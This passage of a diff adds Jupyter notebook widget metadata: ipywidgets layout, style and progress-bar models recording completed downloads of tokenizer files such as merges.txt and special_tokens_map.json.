+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c9678e8106544428a9f155e2da9f2693": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "ca5bf86a004a45a6ae2067fdc6eef091": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ca9e4db991b54eb986375b30bb367afa": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_4c8fa5fd3d224ce694243ea790de8986",
+              "IPY_MODEL_b2efd56d5e834196818f46a7b287c2c3",
+              "IPY_MODEL_3097e4c3b53e4343a9ed6860b8d3d033"
+            ],
+            "layout": "IPY_MODEL_a3fc1ea7dc724184ae564edeb2e755ba"
+          }
+        },
+        "cb157284f72d428fb786527ce87d11a2": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "cb4c90617e8e4ef08052ade1d2694589": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "cb805d94485c4ff5a0aaec67e6cdb827": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "cbbf80dd8dc9471197c49732ae4d08ee": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_0a8a88ac007a41e4b0096fb114fe8a47",
+              "IPY_MODEL_d4c98d8a36eb4f769e23aa3f36535a0f",
+              "IPY_MODEL_20f315f7aae840d19ee8a068c68ff63c"
+            ],
+            "layout": "IPY_MODEL_c420c12b2a76457c9ec7bb9db8eac9b3"
+          }
+        },
+        "cd4f33b831ff4bd4afabbdec87b9bc8d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "cd502f2ef8814082979d147f08177ff6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "ce5e2b3caef7421da3383cbdfc5b271f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "ceb41aa2ac6c4c1982598a5085f7a977": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_719559db7a7943fbb823795a1697a10c",
+            "placeholder": "​",
+            "style": "IPY_MODEL_445925a5c9da455c90fd9225ab521c1f",
+            "value": "Downloading (…)cial_tokens_map.json: 100%"
+          }
+        },
+        "cfe9f9f05cb8493f804cd521a3e3c1c1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_15ce5867e9ba470b94f0408cfa8236ad",
+            "placeholder": "​",
+            "style": "IPY_MODEL_ee848051813f401c958c169f8b77a323",
+            "value": " 920/920 [00:00&lt;00:00, 61.2kB/s]"
+          }
+        },
+        "d0c00b0f105741f9a155e941dd5d704f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d14a6ce3bc334df5a2f319932fd9a338": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_05ba62113d1840c38f0bcf8f291f7439",
+              "IPY_MODEL_117ca4fd09bb4ebeb8eae3ba5c3112f5",
+              "IPY_MODEL_b2fad15effb84bce8aac9b9d2bf94b19"
+            ],
+            "layout": "IPY_MODEL_78493887a0f5466cbfe8dff7f5fbd801"
+          }
+        },
+        "d16de73052ac42e8a8065d4dc54ebe51": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "d2324949415f4df2a964046b326231a4": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d2a03fa596c34b12a1aed264e8d08077": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_cd4f33b831ff4bd4afabbdec87b9bc8d",
+            "max": 547,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_79b1b7bd05714b528d9a617b1c875dfe",
+            "value": 547
+          }
+        },
+        "d2b243b82d0641bc82bcc9500059043d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "d3010a25994f4f12b95922f2863f4f3b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "d44b6d406224497d9db5c903c6972323": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d4b746bc99074570a82175ef438cfb10": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d4c261dab25d405ba560d4626683bccb": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d4c98d8a36eb4f769e23aa3f36535a0f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_15de6a583c5e4525a559749577fd4331",
+            "max": 372,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_4af5ce87c2a243238375d7edf93d08b2",
+            "value": 372
+          }
+        },
+        "d504edae2a2f4beb851928ca770b2701": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "d50a15bbc94f49c39941bacd8c7b99ba": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d5b65c5e85704b02be5a0fa2ab7569fa": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d6a728463cce43d2a0c8573e5faf2dde": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d84093973fe84b06bb05f125ab7a11bb": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "d8424b9018444e088fe5908db8a9db12": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_16e7c873157c444bb0ca1b92e85b4701",
+            "placeholder": "​",
+            "style": "IPY_MODEL_4f4bfc7bd24148e6ac524b57cc6d8020",
+            "value": "Downloading (…)tokenizer/merges.txt: 100%"
+          }
+        },
+        "d923cb2715554512a7faf5b5d73a4ed8": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d95e3f841d4f4f278fb3adae0b11d4c3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_ee9448f0b9964d8fad850501e08e3c84",
+              "IPY_MODEL_485caac1aa1641a3b31827620ddfa3e4",
+              "IPY_MODEL_55fe364a57aa4eaa93cb93b889d241c5"
+            ],
+            "layout": "IPY_MODEL_3deaa7c9f0c940c3af3b9a7c5d0c8de4"
+          }
+        },
+        "dab4d54863e24f169f18999da88be46f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "db3e2ef136864292b6cc51ede3713a4d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_554525ce609044b68804e97c6b45c510",
+              "IPY_MODEL_97dfae674a3b415d9015760abea61968",
+              "IPY_MODEL_e4394ac60eef460e8f37fac24327ab77"
+            ],
+            "layout": "IPY_MODEL_ffd1b0965ac748a3857a947c94e192dc"
+          }
+        },
+        "db6ac9519e6a438ebca23446b0f2a4aa": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_52a201ace1f647059d93e5d9406afee5",
+            "placeholder": "​",
+            "style": "IPY_MODEL_43820ed672c04bbf80155b25c4e4de15",
+            "value": " 806/806 [00:00&lt;00:00, 7.74kB/s]"
+          }
+        },
+        "dc495adaeb53477d903ce952060e4f3f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
